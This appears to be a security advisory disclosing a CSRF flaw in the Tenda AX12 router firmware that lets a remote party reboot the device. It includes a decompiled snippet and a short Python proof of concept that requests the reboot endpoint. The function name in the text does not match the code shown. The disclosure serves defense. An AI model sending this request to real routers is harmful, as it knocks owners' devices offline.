tianhui999 Update AX12.md History

1 contributor

28 lines (16 sloc) | 792 Bytes

Affect device: Tenda-AX12 V22.03.01.21_CN(https://www.tenda.com.cn/download/detail-3237.html)

Vulnerability Type: Cross Site Request Forgery (CSRF)

Impact: Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/SysToolReboot` page which influences the lastest version of Tenda-AX12 V22.03.01.21_CN(https://www.tenda.com.cn/download/detail-3237.html)

The vulnerability exists in the sub_42E328 function.

```
int __fastcall sub_4299F8(int a1)
{
  sub_4161E4(a1, "/redirect.html?3");
  return system("sync;reboot");
}
```

It allows remote attackers to reboot the device and cause denial of service via a payload hosted by an attacker-controlled web page.

POC

```
import requests

url = "http://192.168.158.149/goform/SysToolReboot"

r = requests.get(url)
#r = requests.post(url)     can also do
print(r.content)
```